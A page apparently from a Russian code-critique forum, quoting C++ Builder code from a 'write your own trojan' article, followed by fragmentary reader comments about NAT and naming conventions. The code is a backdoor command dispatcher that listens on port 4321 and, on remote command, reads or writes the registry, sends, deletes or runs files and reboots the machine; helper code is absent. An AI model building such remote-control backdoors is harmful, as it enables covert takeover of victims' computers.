- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
// информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz; // создаем объект наших утилит
Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас
// находится на форме, а TTrojanUtilites не имеет никакого отношения
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды
cn = StrToInt(temp); // преобразуем в число
received.Delete(1,1); // удаляем код команды - остаются одни параметры
switch (cn) { // в соответсвии с полученой командой
// запускаем соотвествующую утилиту
case 1 : Utilz.RestartMachine(); break; // перезагрузка
case 2 : Utilz.WriteRegistry(received); break; // запись в реестр
case 3 : Utilz.ReadRegistry(received); break; // чтение реестра
case 4 : Utilz.SendFile(received); break; // чтение файла
case 5 : Utilz.DeleteFile(received); break; // удаление файла
case 6 : Utilz.ExecuteFile(received); break; // запуск файла
case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break; // прячем курсор мыши
case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
// информируем клиента об этом
}
}
NAT, NAT... Да что вы пристали со своим NAT?!
Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html
absolut 21.03.2014 20:18 # +2
bormand 22.03.2014 11:26 # +7
Это стандартный компонент?
gost 22.03.2014 11:31 # +2
absolut 22.03.2014 12:14 # +3
1024-- 22.03.2014 15:49 # +5
absolut 22.03.2014 16:00 # +4
Stertor 22.03.2014 18:17 # +2
WGH 22.03.2014 19:15 # +1
bormand 22.03.2014 19:18 # +8
Тарас.
Stertor 22.03.2014 19:55 # +1
Type Array
absolut 22.03.2014 19:59 # +4
WGH 22.03.2014 20:06 # +2
WGH 22.03.2014 20:06 # +3
Stertor 22.03.2014 20:11 # +1
Это, как правило, приватные переменные класса, доступ к которым происходит через общие "публичные" свойства. Почему именно "F", а не скажем, "H" или "S" - неизвестно. Может, просто из-за удобства.
>>А вдруг это template?!
Насколько мне известно, это одно и то же, дорогой товарищ! ;)
kipar 23.03.2014 11:31 # +2
Но это что касается дельфей (ну и видимо билдера), с UDK не знаком.
Stertor 23.03.2014 11:36 # +2